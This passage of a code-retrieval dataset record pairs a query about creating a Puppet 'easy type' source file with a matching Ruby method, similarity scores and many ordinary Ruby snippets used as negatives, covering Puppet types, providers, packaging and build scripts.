do_libs(libs)\n do_man(man) unless windows?\n end\n end", "def define\n desc \"Create Rails plug-in package\"\n task :rails_plugin do\n @dest = \"#@package_dir/#{@name}_#{@version}\"\n makedirs(@dest,:verbose=>false)\n @plugin_files.each do |fn|\n cp(fn, @dest,:verbose=>false)\n add_file(File.basename(fn))\n end\n\n @package_files.each do |fn|\n puts \". #{fn}\" if verbose\n f = File.join(@dest, fn)\n fdir = File.dirname(f)\n unless File.exist?(fdir)\n mkdir_p(fdir,:verbose=>false)\n add_folder(\"#{fdir}/\")\n end\n if File.directory?(fn)\n mkdir_p(f,:verbose=>false)\n add_folder(\"#{fn}/\")\n else\n cp(fn, f, :verbose=>false)\n add_file(fn)\n end\n end\n\n generate_index_files()\n end\n end", "def generate()\n prepare\n ::Dir.mkdir(@output_path) unless ::File.exists? @output_path\n\n @pages.each do |name, page|\n SiteLog.debug(\"Starting page generation - #{name}\")\n page.generate(@output_path, @version, @preserve_tree)\n SiteLog.debug(\"Finished page generation - #{name}\")\n end\n\n @files.each do |path, data|\n path = ::File.join(@output_path, path)\n ::FileUtils.mkdir_p(::File.dirname(path))\n ::File.open(path, \"w\") do |f|\n f.write(data)\n end\n end\n end", "def static_setup (so_list)\n $stderr.puts \"setup: dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/fonts\"\n cp_r \"fonts\", \"#{TGT_DIR}\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp \"lib/shoes.rb\", \"#{TGT_DIR}/lib\"\n cp_r \"lib/shoes\", \"#{TGT_DIR}/lib\"\n cp_r \"lib/exerb\", \"#{TGT_DIR}/lib\"\n cp_r \"lib/package\", \"#{TGT_DIR}/lib\"\n cp_r \"samples\", \"#{TGT_DIR}/samples\"\n cp_r \"static\", \"#{TGT_DIR}/static\"\n cp \"README.md\", \"#{TGT_DIR}/README.txt\"\n cp \"CHANGELOG\", \"#{TGT_DIR}/CHANGELOG.txt\"\n cp \"COPYING\", \"#{TGT_DIR}/COPYING.txt\"\n #mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\", remove_destination: true\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n so_list.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # the things we do for love...\n ReNames.each_pair do |k, v|\n if File.exist? \"#{TGT_DIR}/#{k}\"\n mv \"#{TGT_DIR}/#{k}\", \"#{TGT_DIR}/#{v}\"\n $stderr.puts \"renamed #{k} to #{v}\"\n end\n end \n # copy/setup etc/share\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp \"#{ShoesDeps}/share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n if ENABLE_MS_THEME\n ini_path = \"#{TGT_DIR}/etc/gtk-3.0\"\n mkdir_p ini_path\n File.open \"#{ini_path}/settings.ini\", mode: 'w' do |f|\n f.write \"[Settings]\\n\"\n f.write \"#gtk-theme-name=win32\\n\"\n end\n end\n mkdir_p \"#{ShoesDeps}/lib\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" \n bindir = \"#{ShoesDeps}/bin\"\n if File.exist?(\"#{bindir}/gtk-update-icon-cache-3.0.exe\")\n cp \"#{bindir}/gtk-update-icon-cache-3.0.exe\",\n \"#{TGT_DIR}/gtk-update-icon-cache.exe\"\n else \n cp \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n end\n cp APP['icons']['win32'], \"shoes/appwin32.ico\"\n end", "def compression\n \n ##Preparing directory structure for \"project\" area to display html\n system(\"mkdir -p #{@outputDir}/htmlPages/#{@studyName1}/QIIME/#{@jobName1}\")\n system(\"cp -r #{@outputDir}/QIIME_result/plots #{@outputDir}/htmlPages/#{@studyName1}/QIIME/#{@jobName1}\")\n \n Dir.chdir(\"#{@outputDir}/QIIME_result\")\n #system(\"tar -zcf #{@sampleSetName1}.tar.gz * --exclude=*.log --exclude=*.sra --exclude=*.sff --exclude=*.local.metadata\")\n system(\"tar czf raw.results.tar.gz * --exclude=filtered_aln --exclude=taxa --exclude=aln --exclude=plots\")\n system(\"tar czf phylogenetic.result.tar.gz filtered_aln\")\n system(\"tar czf taxanomy.result.tar.gz taxa\")\n system(\"tar czf fasta.result.tar.gz aln\")\n system(\"tar czf plots.result.tar.gz plots\")\n \n Dir.chdir(@scratch)\n \n end", "def create_all\n for i in 0..Pdf.get_pdf_file_count do\n pdf = Pdf.create_pdf(i.to_s, @client, @settings)\n pdf_file_name = Pdf.get_pdf_file_name(Pdf::PDFS.keys[i], @client)\n pdf.render_file(\"#{Rails.root}/app/assets/generated-pdfs/#{pdf_file_name}\")\n end\n generate_zip(@client)\n end", "def run!\n report_startup\n setup_stage\n stage_operations\n managed_copy\n remove_stage\n report_complete\n end" ]
[ "0.69156545", "0.6820083", "0.66743004", "0.664513", "0.664513", "0.66366476", "0.6553373", "0.6437034", "0.63251036", "0.63179386", "0.6314223", "0.6293067", "0.62845117", "0.6277205", "0.6274075", "0.6273754", "0.62473136", "0.62418914", "0.6197656", "0.6192067", "0.6184819", "0.61807", "0.61561096", "0.6148103", "0.61395687", "0.6128246", "0.6113534", "0.61005646", "0.6098809", "0.6082309", "0.60793954", "0.6055693", "0.6054765", "0.6054765", "0.6047127", "0.602953", "0.6023548", "0.60136575", "0.6008022", "0.6003206", "0.5988304", "0.59838426", "0.59786695", "0.597434", "0.5972192", "0.5945016", "0.5945016", "0.5939497", "0.5930852", "0.5927796", "0.5917311", "0.59164083", "0.5912632", "0.59104544", "0.59040433", "0.5898277", "0.58970135", "0.58942366", "0.5888938", "0.58866584", "0.586635", "0.5861167", "0.5859029", "0.5848983", "0.5842346", "0.58395755", "0.5824562", "0.5815529", "0.5801261", "0.579983", "0.5790373", "0.5783662", "0.5770009", "0.5769233", "0.5765111", "0.57648325", "0.5759736", "0.57584476", "0.5757456", "0.5751299", "0.5748269", "0.5742961", "0.5739497", "0.5733079", "0.572252", "0.57112926", "0.5708887", "0.5707468", "0.5704785", "0.57030594", "0.5692027", "0.5688373", "0.56864774", "0.56721795", "0.56719995", "0.5670835", "0.5668153", "0.5668089", "0.56663406", "0.56651187", "0.5658067" ]
0.0
-1
Create the easy type source file. ./lib/puppet/type/type_name.rb
def create_easy_type_source create_source(TYPE_TEMPLATE, type_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_definition\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + \";\\n\"\n end", "def type_path\n type_directory + \"#{@name}.rb\"\n end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name\n @type_name ||= name.underscore\n end", "def type() end", "def type_name\n File.basename(@path, '.rb').to_sym\n end", "def input_name_from_type(type); end", "def describe_type\n puts \"I am a #{type} of Bees Wax\"\n end", "def name_with_type\n\t\t\"#{type}: #{name}\"\n\tend", "def type\n :puppet_type\n end", "def name\n @type_name\n end", "def raw_type\n JavaType.new(@package, @name)\n end", "def type(type); end", "def name\n name = '(' << @types.map{|e| e.name }.join('|') << ')'\n name\n end", "def type_directory\n Pathname.new(puppet_lib) + 'type'\n end", "def describe_type\n puts \"I am a #{type} type of Bees Wax\"\nend", "def generate_code\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + ' = ' + value.to_s + ';'\n end", "def type_name=(value)\n @values['typeName'] = value\n end", "def name\n type.to_s.capitalize\n end", "def initialize(name)\n super(PuppetStrings::Yard::CodeObjects::Types.instance, name)\n end", "def type_name=(val)\n self['type_name'] = val\n end", "def compile_types(path = \"PBS/types.txt\")\r\n GameData::Type::DATA.clear\r\n type_names = []\r\n # Read from PBS file\r\n File.open(path, \"rb\") { |f|\r\n FileLineData.file = path # For error reporting\r\n # Read a whole section's lines at once, then run through this code.\r\n # contents is a hash containing all the XXX=YYY lines in that section, where\r\n # the keys are the XXX and the values are the YYY (as unprocessed strings).\r\n schema = GameData::Type::SCHEMA\r\n pbEachFileSection(f) { |contents, type_number|\r\n # Go through schema hash of compilable data and compile this section\r\n for key in schema.keys\r\n FileLineData.setSection(type_number, key, contents[key]) # For error reporting\r\n # Skip empty properties, or raise an error if a required property is\r\n # empty\r\n if contents[key].nil?\r\n if [\"Name\", \"InternalName\"].include?(key)\r\n raise _INTL(\"The entry {1} is required in {2} section {3}.\", key, path, type_id)\r\n end\r\n next\r\n end\r\n # Compile value for key\r\n value = pbGetCsvRecord(contents[key], key, schema[key])\r\n value = nil if value.is_a?(Array) && value.length == 0\r\n contents[key] = value\r\n # Ensure weaknesses/resistances/immunities are in arrays and are symbols\r\n if value && [\"Weaknesses\", \"Resistances\", \"Immunities\"].include?(key)\r\n contents[key] = [contents[key]] if !contents[key].is_a?(Array)\r\n contents[key].map! { |x| x.to_sym }\r\n contents[key].uniq!\r\n end\r\n end\r\n # Construct type hash\r\n type_symbol = contents[\"InternalName\"].to_sym\r\n type_hash = {\r\n :id => type_symbol,\r\n :id_number => type_number,\r\n :name => contents[\"Name\"],\r\n :pseudo_type => contents[\"IsPseudoType\"],\r\n :special_type => contents[\"IsSpecialType\"],\r\n :weaknesses => contents[\"Weaknesses\"],\r\n :resistances => contents[\"Resistances\"],\r\n :immunities => contents[\"Immunities\"]\r\n }\r\n # Add type's data to records\r\n GameData::Type.register(type_hash)\r\n type_names[type_number] = type_hash[:name]\r\n }\r\n }\r\n # Ensure all weaknesses/resistances/immunities are valid types\r\n GameData::Type.each do |type|\r\n type.weaknesses.each do |other_type|\r\n next if GameData::Type.exists?(other_type)\r\n raise _INTL(\"'{1}' is not a defined type ({2}, section {3}, Weaknesses).\", other_type.to_s, path, type.id_number)\r\n end\r\n type.resistances.each do |other_type|\r\n next if GameData::Type.exists?(other_type)\r\n raise _INTL(\"'{1}' is not a defined type ({2}, section {3}, Resistances).\", other_type.to_s, path, type.id_number)\r\n end\r\n type.immunities.each do |other_type|\r\n next if GameData::Type.exists?(other_type)\r\n raise _INTL(\"'{1}' is not a defined type ({2}, section {3}, Immunities).\", other_type.to_s, path, type.id_number)\r\n end\r\n end\r\n # Save all data\r\n GameData::Type.save\r\n MessageTypes.setMessages(MessageTypes::Types, type_names)\r\n Graphics.update\r\n end", "def type\n Type.new(type_param).yard_type_string\n end", "def autoname(type)\n begin\n\treturn unless @outdir\n\tstamp = sprintf('%.6f',\"#{Time.now.to_i}.#{Time.now.usec}\".to_f).gsub('.','')\n\tFile.join(@outdir,\"#{type.upcase}_#{stamp}.#{@format.downcase}\")\n rescue Exception => e\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\"\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\" if @logger \n end\n end", "def defined_types\n @title = 'Defined Type Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_defined_type)\n erb(:objects)\nend", "def type_str\n Types.type_str(type)\n end", "def create_object\n definition.sought_type.new\n end", "def set_type_name\n @type_name = TypeName.find(params[:id])\n end", "def type_for(filename, platform = false)\n __types__.type_for(filename, platform)\n end", "def generate_types\n pal.generate_types(cache: true)\n end", "def type_name\n @type_name ||= StringHelpers.underscore(StringHelpers.demodulize(@value.class.name)).to_sym\n end", "def type_name\n @type_name ||= self.name.demodulize.underscore\n end", "def typeName\n case ftype\n when FTYPE_TEST\n return 'test'\n when FTYPE_SHEET\n return 'mathsheet'\n else # \n return 'generic'\n end\n end", "def initialize(object, file)\n super(object, file)\n @name = object.name\n return unless object.respond_to? :return_type\n\n type = object.return_type\n return unless type\n\n @type = PuppetStrings::Yard::Util.ast_to_text(type).gsub('>> ', '')\n end", "def type_name\n self['type_name']\n end", "def type\n class_to_filename(self.class.to_s.sub(/.*:/, ''))\n end", "def display_type\n \"I am a #{@type}\"\n end", "def typedname include_type=false, include_ref=false\n return name unless include_type\n type_label =\n if include_ref && meaning\n \"#{meaning.model_name.human} ##{meaning.id}\"\n else\n typename\n end\n %Q{#{name} [#{type_label}]}\n end", "def type_name(member)\n \t_IDENTIFIER16 = nil\n\n\n\n\n # 336:7: ( IDENTIFIER ) ( package_descriptors[member] )* ( type_argument[member] )?\n # 336:8: IDENTIFIER\n _IDENTIFIER16 = @input.look_ahead(1)\n match(:IDENTIFIER)\n member.type = _IDENTIFIER16.text \n # 337:7: ( package_descriptors[member] )*\n while true\n alt45 = 2\n # ()* loopback of 337:7: ( package_descriptors[member] )*\n look_ahead45_0 = look_ahead(1)\n if look_ahead45_0 == :DOT \n alt45 = 1\n end\n case alt45\n when 1\n # 337:9: package_descriptors[member]\n package_descriptors(member)\n\n else\n break\n end\n end\n # 338:7: ( type_argument[member] )?\n alt46 = 2\n # 338:7: ( type_argument[member] )?\n look_ahead46_0 = look_ahead(1)\n\n if look_ahead46_0 == :LEFT_ANGULAR_BRACKET \n alt46 = 1\n end\n case alt46\n when 1\n # 338:9: type_argument[member]\n type_argument(member)\n\n end\n\n\n\n end", "def create_types\n\t[Domain]\nend", "def code_type()\n path = @opts[:file]\n if path.end_with? '.rb'\n :ruby\n elsif path.end_with? '.xml'\n :xml\n else\n :text\n end\n end", "def type_with_namespace\n\t\t\t\t\"#{(self.type == \"file\" ? \"tns\" : \"xs\")}:#{self.type}\"\n\t\t\tend", "def generate_itemdef_profile(type,name)\n generate_itemdef_line(type,name,false,false)\n end", "def generate_itemdef_data(type,name)\n generate_itemdef_line(type,name,true,false)\n end", "def types; end", "def types; end", "def types; end", "def types; end", "def types; end", "def type_attribute_directory\n Pathname.new(puppet_lib) + 'type' + @name\n end", "def name_t\n end", "def test_types\n # rec = SourceRecord.new\n source = make_dummy_source(\"http://www.newstuff.org/createtypes\", N::FOAFX.Person, N::FOAFX.Foe)\n assert_not_nil(source)\n assert_property(source.types, N::FOAFX.Person, N::FOAFX.Foe, source.rdf_selftype)\n end", "def add_type(type)\n end", "def type_for(filename, platform = false)\n @__types__.type_for(filename, platform)\n end", "def type_name\n @values['typeName']\n end", "def type ; metadata[:type] ; end", "def create_type(name, **options)\n register(Type.new_submodel(typename: name, registry: self, **options))\n end", "def archetype\n tok = []\n tok << 'extern int ' + name\n tok << '(' + \"\\n\"\n tok << [\n @returns.map { |ent| \"#{ent.type} #{ent.name}\" },\n @accepts.map { |ent| \"#{ent.type} #{ent.name}\" },\n ].flatten.map { |s| \"\\t\" + s }.join(\",\\n\")\n tok << \"\\n);\"\n tok.join\n end", "def initialize(type_name, name)\n @type_name = type_name\n super(PuppetStrings::Yard::CodeObjects::Providers.instance(type_name), name)\n end", "def generate name, file\n require 'erb'\n template = File.read(File.join(File.dirname(__FILE__), \"class_template.erb\"))\n erb = ERB.new(template)\n code = erb.result(binding)\n Dir.mkdir(@basedir) unless File.directory?(@basedir)\n file = File.join(@basedir, name + \".rb\")\n File.open(file, \"w+\") do |f|\n f.puts code\n end\n end", "def create_file(type)\n cb_file, source_file = get_locations(type)\n\n File.open(cb_file, 'w') { |f| f.write(process_template(source_file)) }\n\n if @opts[:verbose]\n Souschef::Print.info \"Creating Testkitchen #{type} configuration\"\n end\n rescue TypeError\n Souschef::Print.error 'SKipping'\n end", "def type_str\n self.class.const_get(:TYPE_STR)\n end", "def type_name *args\n (@type_names ||= { })[args] ||=\n _type_name(args)\n end", "def type_name(type)\n case type\n when 'i'\n return _INTL('int')\n when 'b'\n return _INTL('bool')\n when 'f'\n return _INTL('float')\n when 's'\n return _INTL('str')\n else\n return _INTL('arg')\n end\n end", "def mk_var(name, rname, type, transform=\"\", files=@files)\n f_hash=Hash[*files.zip((1..files.length).to_a).flatten]\n defs=files.map do |file|\n \"DEF:#{name}#{f_hash[file]}=#{file}:#{rname}:#{type.to_s.upcase}\"\n end\n cdef=\"CDEF:#{name}=0\"\n f_hash.values.each {|x| cdef += \",#{name}#{x},+\"}\n defs + [cdef + transform]\n end", "def mk_var(name, rname, type, transform=\"\", files=@files)\n f_hash=Hash[*files.zip((1..files.length).to_a).flatten]\n defs=files.map do |file|\n \"DEF:#{name}#{f_hash[file]}=#{file}:#{rname}:#{type.to_s.upcase}\"\n end\n cdef=\"CDEF:#{name}=0\"\n f_hash.values.each {|x| cdef += \",#{name}#{x},+\"}\n defs + [cdef + transform]\n end", "def type_key\n type.demodulize.underscore\n end", "def makeOneAdaEnum( deffile, bodyfile, var, typedecs, enumName = nil )\n if enumName.nil? then\n enumName = capitalise( basicCensor( var.name )) + \"_Type\" \n else\n deffile.write( \" -- #{enumName} uses variable #{var.name}\\n --\\n\" )\n end\n deffile.write( \" type #{enumName} is (\\n \" );\n entries = []\n var.enumsInSortOrder().each{\n |enum|\n enumItem = censor( enum.label )\n entries << enumItem\n }\n deffile.write( entries.join( \",\\n \" ) )\n deffile.write( \" );\\n\" );\n deffile.write( \" \n function To_String( i : #{enumName} ) return String;\n function Convert_#{enumName}( i : Integer ) return #{enumName};\n function Value_Of( i : #{enumName} ) return Integer;\\n\" )\n if( typedecs.length() > 0 )then\n deffile.write( \"\n package #{enumName}_Package is new T_Utils( \n T => #{enumName},\n Rate_Type => Rate, \n Amount_Type => Amount, \n Counter_Type =>Counter_Type );\\n\" );\n \n deffile.write( \" subtype #{enumName}_Set is #{enumName}_Package.Set;\\n\" ) if typedecs.include?( 'set' )\n deffile.write( \" subtype #{enumName}_List is #{enumName}_Package.List; \" ) if typedecs.include?( 'list' )\n if typedecs.include?( 'amount' )then\n deffile.write( \" subtype Abs_#{enumName}_Amount_Array is #{enumName}_Package.Abs_Amount_Array;\\n\" )\n deffile.write( \" subtype #{enumName}_Amount_Array is #{enumName}_Package.Amount_Array;\\n\" );\n end\n if typedecs.include?( 'boolean' )then\n deffile.write( \" subtype Abs_#{enumName}_Boolean_Array is #{enumName}_Package.Abs_Boolean_Array;\\n\" )\n deffile.write( \" subtype #{enumName}_Boolean_Array is #{enumName}_Package.Boolean_Array;\\n\" );\n end\n end\n deffile.write( \"\\n\" );\n bodyfile.write( \"\n function To_String( i : #{enumName} ) return String is\n begin\n case i is\\n\" ); \n var.enumsInSortOrder().each{\n |enum|\n enumItem = censor( enum.label )\n bodyfile.write( \" when #{enumItem} => return \\\"#{enum.label}\\\";\\n\" );\n }\n bodyfile.write( \" end case; \n return \\\"?\\\";\n end To_String;\n \n function Convert_#{enumName}( i : Integer ) return #{enumName} is\n begin\n case i is\\n\" );\n var.enumsInSortOrder().each{\n |enum|\n enumItem = censor( enum.label )\n bodyfile.write \" when #{enum.value} => return #{enumItem};\\n\"\n }\n bodyfile.write( \n\" when others => null;\n end case;\n end Convert_#{enumName};\n \n function Value_Of( i : #{enumName} ) return Integer is\\\n begin\n case i is \\n\" );\n var.enumsInSortOrder().each{\n |enum|\n enumItem = censor( enum.label )\n bodyfile.write \" when #{enumItem} => return #{enum.value};\\n\"\n }\n bodyfile.write( \" end case;\\n\" );\n bodyfile.write( \" end Value_Of;\\n\" ); \nend", "def get_type\n\n end", "def name\n @type.name + '+'\n end", "def type \n\t\n\t$cst.add_branch(\"type\")\n\t\n\tmatch_token(\"T_TYPE\", $tokens[$index])\n\t\n\t$cst.ascend\nend", "def initialize\n @type = self.class.to_s.demodulize.downcase\n end", "def source_type=(_arg0); end", "def generate\n sensuctl_types = []\n Dir[File.join(File.dirname(__FILE__), '../provider/sensu_*/sensuctl.rb')].each do |file|\n type = File.basename(File.dirname(file))\n sensuctl_types << type.to_sym\n end\n sensuctl_types.each do |type|\n provider_class = Puppet::Type.type(type).provider(:sensuctl)\n provider_class.chunk_size = self[:chunk_size]\n provider_class.validate_namespaces = self[:validate_namespaces]\n provider_class.path = self[:path]\n end\n []\n end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end" ]
[ "0.72343683", "0.68850625", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.6716906", "0.63614374", "0.63518107", "0.6350147", "0.6344717", "0.63220024", "0.6266442", "0.62656075", "0.62484723", "0.6217365", "0.6214563", "0.6211946", "0.6206835", "0.6159805", "0.6153553", "0.61515903", "0.61356884", "0.61337495", "0.61039287", "0.6076357", "0.60442567", "0.6042371", "0.603374", "0.6005086", "0.5992956", "0.59814614", "0.59606296", "0.5954754", "0.59452194", "0.59449434", "0.59390897", "0.5935358", "0.5912205", "0.59062374", "0.58705336", "0.5869508", "0.58583075", "0.5845338", "0.58418983", "0.584047", "0.5836972", "0.58311546", "0.58278906", "0.58278906", "0.58278906", "0.58278906", "0.58278906", "0.5823324", "0.5816271", "0.5813889", "0.5797316", "0.578475", "0.578434", "0.57836276", "0.5769895", "0.5764345", "0.576374", "0.5758885", "0.5747363", "0.57452404", "0.5745123", "0.57421577", "0.57409835", "0.57409835", "0.573324", "0.5721082", "0.5719903", "0.5712893", "0.57099444", "0.57050115", "0.5701751", "0.569655", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961", "0.568961" ]
0.7841972
0
Create the easy_type provider source file. ./lib/puppet/provider/type_name/provider_name.rb
def create_simple_provider_source create_source(PROVIDER_TEMPLATE, provider_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_easy_type_source\n create_source(TYPE_TEMPLATE, type_path)\n end", "def type\n :puppet_provider\n end", "def initialize(type_name, name)\n @type_name = type_name\n super(PuppetStrings::Yard::CodeObjects::Providers.instance(type_name), name)\n end", "def generate\n sensuctl_types = []\n Dir[File.join(File.dirname(__FILE__), '../provider/sensu_*/sensuctl.rb')].each do |file|\n type = File.basename(File.dirname(file))\n sensuctl_types << type.to_sym\n end\n sensuctl_types.each do |type|\n provider_class = Puppet::Type.type(type).provider(:sensuctl)\n provider_class.chunk_size = self[:chunk_size]\n provider_class.validate_namespaces = self[:validate_namespaces]\n provider_class.path = self[:path]\n end\n []\n end", "def test_name_or_provider\n provider = @type.provide(:testing) do\n end\n\n # first make sure we can pass the name in\n resource = nil\n assert_nothing_raised(\"Could not create provider instance by name\") do\n resource = @type.new :name => \"yay\", :provider => :testing\n end\n\n assert_instance_of(provider, resource.provider, \"Did not create provider instance\")\n\n # Now make sure we can pass in an instance\n provinst = provider.new(:name => \"foo\")\n assert_nothing_raised(\"Could not pass in provider instance\") do\n resource = @type.new :name => \"foo\", :provider => provinst\n end\n\n assert_equal(provinst, resource.provider, \"Did not retain provider instance\")\n assert_equal(provider.name, resource[:provider], \"Provider value was set to the provider instead of its name\")\n\n # Now make sure unsuitable provider instances still throw errors\n provider = @type.provide(:badprov) do\n confine :exists => \"/no/such/file\"\n end\n\n # And make sure the provider must be a valid provider type for this resource\n pkgprov = Puppet::Type.type(:package).new(:name => \"yayness\").provider\n assert(provider, \"did not get package provider\")\n\n assert_raise(Puppet::Error, \"Did not fail on invalid provider instance\") do\n resource = @type.new :name => \"bar\", :provider => pkgprov\n end\n\n end", "def run\n super\n create_easy_type_source\n create_simple_provider_source\n create_name_attribute_source\n end", "def generate_single_provider(name, path)\n Log.info(\"[chef] Creating Powershell provider #{name}\")\n all_scripts = Dir[File.join(path, \"*#{::RightScale::Platform::Shell::POWERSHELL_V1x0_SCRIPT_EXTENSION}\")]\n action_scripts = all_scripts.select { |s| is_action_script?(s) }\n\n new_provider = create_provider_class(name) do |provider|\n action_script_names = []\n action_scripts.each do |script|\n action_script_name = File.basename(script, '.*').snake_case\n action_script_names << action_script_name\n action_name = \"action_#{action_script_name}\"\n Log.info(\"[chef] Defining #{name}##{action_name} to run '#{script}'\")\n provider.class_eval(\"def #{action_name}; #{name}.run_script('#{script}'); end\")\n end\n\n validate_resource_actions(File.join(path, \"..\", \"..\", \"resources\", \"#{File.basename(path)}.rb\"), action_script_names)\n\n if load_script = all_scripts.detect { |s| File.basename(s, '.*').downcase == LOAD_SCRIPT }\n Log.info(\"[chef] Defining #{name}#load_current_resource to run '#{load_script}'\")\n provider.class_eval(<<-EOF\n def load_current_resource;\n @current_resoure = #{resource_class_name(name)}.new(@new_resource.name)\n RightScale::Windows::ChefNodeServer.instance.current_resource = @current_resource\n #{name}.run_script('#{load_script}')\n end\n EOF\n )\n end\n if init_script = all_scripts.detect { |s| File.basename(s, '.*').downcase == INIT_SCRIPT }\n Log.info(\"[chef] Defining #{name}.init to run '#{init_script}'\")\n provider.instance_eval(\"def init(node); run_script('#{init_script}') if super(node); end\")\n end\n if term_script = all_scripts.detect { |s| File.basename(s, '.*').downcase == TERM_SCRIPT }\n Log.info(\"[chef] Defining #{name}.terminate to run '#{term_script}'\")\n provider.instance_eval(\"def terminate; begin; run_script('#{term_script}'); ensure; super; end; end\")\n end\n Log.info(\"[chef] Done creating #{name}\")\n end\n\n # register the provider with the default windows platform\n Chef::Platform.platforms[:windows][:default].merge!(name.snake_case.gsub(\"::\",\"_\").to_sym => new_provider)\n\n @providers << new_provider\n true\n end", "def name(_prefix = false)\n 'Providers'\n end", "def generate\n name_plugin\n end", "def provider_path\n provider_directory + \"#{@provider}.rb\"\n end", "def create\n Puppet.debug(\"Calling create method of security_policy_cloakingprovider: \")\nend", "def provider_directory\n Pathname.new(puppet_lib) + 'provider' + @name\n end", "def type_definition_provider\n attributes.fetch(:typeDefinitionProvider)\n end", "def customize_provider(name,options)\n ''\n end", "def _provider( name, options )\n\n\t\t\t@_provider ||= { }\n\t\t\t@_provider[ name ] ||= (\n\n\t\t\t\tObject::const_get( name ).new( options )\n\t\t\t)\n\t\tend", "def provider; end", "def create_provider(actor)\n # Differentiate care providers by content of this field\n provider = {}\n if actor.at_xpath('./ccr:Person/ccr:Name/ccr:CurrentName/ccr:Given')\n provider[:given_name] = extract_data(actor, './ccr:Person/ccr:Name/ccr:CurrentName/ccr:Given')\n provider[:family_name] = extract_data(actor, './ccr:Person/ccr:Name/ccr:CurrentName/ccr:Family')\n provider[:specialty] = extract_data(actor, './ccr:Specialty/ccr:Text')\n end\n \n provider[:specialty] = extract_data(actor, './ccr:Specialty/ccr:Text')\n\n \n npi_ids = actor.at_xpath(\"./ccr:IDs[ccr:Type/ccr:Text = \\\"NPI\\\"]\")\n if npi_ids\n npi_id = npi_ids.at_xpath(\"./ccr:ID\")\n npi = npi_id.content\n provider[:npi] = npi if Provider.valid_npi?(npi)\n end\n \n find_or_create_provider(provider)\n end", "def generate_definition\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + \";\\n\"\n end", "def name\n @provider[:name]\n end", "def provider\n\tend", "def provider_name=(value)\n @provider_name = value\n end", "def generate name, file\n require 'erb'\n template = File.read(File.join(File.dirname(__FILE__), \"class_template.erb\"))\n erb = ERB.new(template)\n code = erb.result(binding)\n Dir.mkdir(@basedir) unless File.directory?(@basedir)\n file = File.join(@basedir, name + \".rb\")\n File.open(file, \"w+\") do |f|\n f.puts code\n end\n end", "def providify\n newparam(:provider)\n nil\n end", "def name\n @provider_name\n end", "def create\n @provider_type = ProviderType.new(params[:provider_type])\n\n respond_to do |format|\n if @provider_type.save\n format.html { redirect_to(@provider_type, :notice => 'Provider type was successfully created.') }\n format.xml { render :xml => @provider_type, :status => :created, :location => @provider_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_file(type)\n cb_file, source_file = get_locations(type)\n\n File.open(cb_file, 'w') { |f| f.write(process_template(source_file)) }\n\n if @opts[:verbose]\n Souschef::Print.info \"Creating Testkitchen #{type} configuration\"\n end\n rescue TypeError\n Souschef::Print.error 'SKipping'\n end", "def provider=(_arg0); end", "def generate(name); end", "def initialize(name, provider)\n @name = name\n @provider = provider\n end", "def create_resource(type, title, parameters = {})\n parameters = parameters.merge(:name => title)\n resource = Puppet::Type.type(type.to_sym).new(parameters)\n catalog.add_resource(resource)\n resource\n end", "def set_provider_provider_type\n @provider_provider_type = Provider::ProviderType.find(params[:id])\n end", "def provider_name\n object.provider_id.titleize\n end", "def create_plugin_gemspec\n template(\"extension.gemspec\",\n \"#{extension_name}/#{extension_name}.gemspec\")\n end", "def create_new_admin\n @provider = Provider.new\n end", "def create\n @provider_provider_type = Provider::ProviderType.new(provider_provider_type_params)\n @provider_provider_type.user_created_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.save\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.create') }\n format.json { render :show, status: :created, location: @provider_provider_type }\n else\n format.html { render :new }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def 